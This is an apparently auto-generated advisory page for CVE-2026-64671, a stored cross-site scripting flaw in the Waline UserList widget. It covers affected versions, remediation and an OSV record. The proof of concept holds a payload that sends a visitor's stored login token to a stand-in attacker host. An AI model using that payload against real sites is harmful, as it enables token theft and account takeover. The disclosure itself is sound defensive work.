CVE-2026-64671: Waline Cross-Site Scripting Vulnerability
HIGHCVE-2026-64671 is a HIGH (CVSS 7.2) cross-site scripting vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting Waline libraries in the npm ecosystem. The issue involves userlist stored xss via unescaped commenter fields. Remediation is available in the latest vendor maintenance releases.
CVE-2026-64671 at a Glance
Security Impact
CVSS: 7.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).
How to Fix CVE-2026-64671
To remediate this vulnerability, upgrade all affected Waline dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @waline/client@Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @waline/client
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-64671, inspect your project dependencies using npm:
npm ls @waline/client
Analyze the terminal output to locate any version of Waline in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls @waline/client command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In Waline, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-64671 Affected Waline Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@waline/client
|
npm |
≤ 3.16.3
|
|
References
Frequently Asked Questions
What is CVE-2026-64671?
Which Waline versions are affected?
What version fixes CVE-2026-64671?
Is @waline/client affected?
What is the CVSS score of CVE-2026-64671?
What CWE is associated with CVE-2026-64671?
How can I check npm dependencies for CVE-2026-64671?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7w94-hxwm-gg99",
"modified" : "2026-12-02T22:34:40Z",
"published" : "2026-12-02T22:34:40Z",
"aliases" : [ "CVE-2026-64671" ],
"summary" : "Waline: UserList stored XSS via unescaped commenter fields",
"details" : "### Summary\n\nThe `@waline/client` `UserList` widget builds its DOM by concatenating server-returned commenter fields directly into `root.innerHTML` with no HTML escaping.\n\nThe commenter `nick` and `link` are stored and returned verbatim by the server (only the comment body is sanitized), and the `link` field is never sent to the spam filter.\n\nSo an unauthenticated visitor who posts a comment with `link = x\"><img src=x onerror=...>` achieves stored cross-site scripting that executes, with no interaction, in the browser of every visitor to a page that embeds the UserList widget.\n\n### Details\n\n`packages/client/src/widgets/userList.ts:106-133` builds `root.innerHTML` by concatenating `user.nick` (as element content at :117 and in the `aria-label`/`alt` attributes), `user.link` (in the `<a href>` and as content at :125), `user.avatar`, and `user.label`, all with no escaping. A commenter `link` of `x\"><img src=x onerror=...>` breaks out of the `href` attribute and injects a live element.\n\n`packages/client/src/widgets/recentComments.ts:73-78` has the identical unescaped-innerHTML pattern for `comment.nick`/`comment.url`, but it is NOT reachable as shipped: its client `getRecentComment` returns the wrapped `{errno,data}` object without unwrapping `.data`, so the `comments.length > 0` guard is false and the widget renders nothing. The live sink is UserList.\n\nOn the server the fields are never escaped:\n\n- `packages/server/src/logic/comment.js` validates only `url` and `comment` (both as strings); `nick` and `link` have no rule.\n- `packages/server/src/controller/comment.js` postAction stores `nick`/`link`/`url` verbatim (`:98-111`, `add(data)` `:215`), and `getRecentCommentList` (`:647-705`) returns them via `formatCmt`, which never HTML-escapes them.\n- `packages/server/src/controller/user.js:280-300` builds the UserList response for anonymous commenters by reading `{ nick, link }` straight off a comment row.\n\nOnly `comment.comment` is sanitized (`controller/comment.js:55`, markdown-it -> DOMPurify). `nick`, `link`, and `url` are the injection points.\n\nBy default an anonymous comment is stored `status=approved` (`config.js:124` `audit` defaults to false). Akismet ships a built-in `DEFAULT_KEY`, so on a networked default server it is active and spam-filters an `<img onerror>` in `nick` or the comment body; the `link` field is never sent to Akismet, so it is the robust out-of-the-box injection point. The `nick` field fires when Akismet is disabled or unreachable.\n\n### Proof of concept\n\n1. As an anonymous user, post a comment via `POST /api/comment` with `link` set to the payload:\n\n```\nPOST /api/comment\n{ \"url\": \"/any-post\", \"comment\": \"hi\", \"nick\": \"a\", \"link\": \"x\\\"><img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>\" }\n```\n\n2. On any page that embeds the `UserList` widget, the widget concatenates `link` straight into `root.innerHTML` with no escaping, so `onerror` fires for every visitor with no interaction. The `nick` field is equally injectable but reaches the widget only when Akismet is disabled, since Akismet filters it by default.\n\nThe default comment list (`CommentCard`) is not affected; it renders `nick` through Vue `{{ }}` and normalizes `link` through `isLinkHttp`.\n\n### Impact\n\nArbitrary script in the widget's origin against an anonymous viewer: defacement, redirect, phishing, and CSRF-on-behalf.\n\nWhen a logged-in user or administrator views the widget, the injected script can read the waline JWT (kept in same-origin `localStorage`), escalating to account or administrator takeover.\n\n### Suggested fix\n\nHTML-escape every interpolated user field in both widgets; leave `comment.comment` as is (already server-sanitized).\n\nAdditionally consider routing `url`/`link` through the existing `isLinkHttp` normalization to also block `javascript:` schemes in the click-gated `href`.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@waline/client"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "3.16.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/walinejs/waline/security/advisories/GHSA-7w94-hxwm-gg99"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-64671"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/walinejs/waline"
}, {
"type" : "WEB",
"url" : "https://github.com/walinejs/waline/blob/de428ed040b8dd6bfc8c40d38c5fbe8bd708ce86/packages/client/src/widgets/userList.ts#L106-L133"
}, {
"type" : "WEB",
"url" : "https://github.com/walinejs/waline/blob/main/packages/client/src/widgets/userList.ts"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-116", "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-02T22:34:40Z",
"nvd_published_at" : "2026-11-11T05:19:51Z"
}
}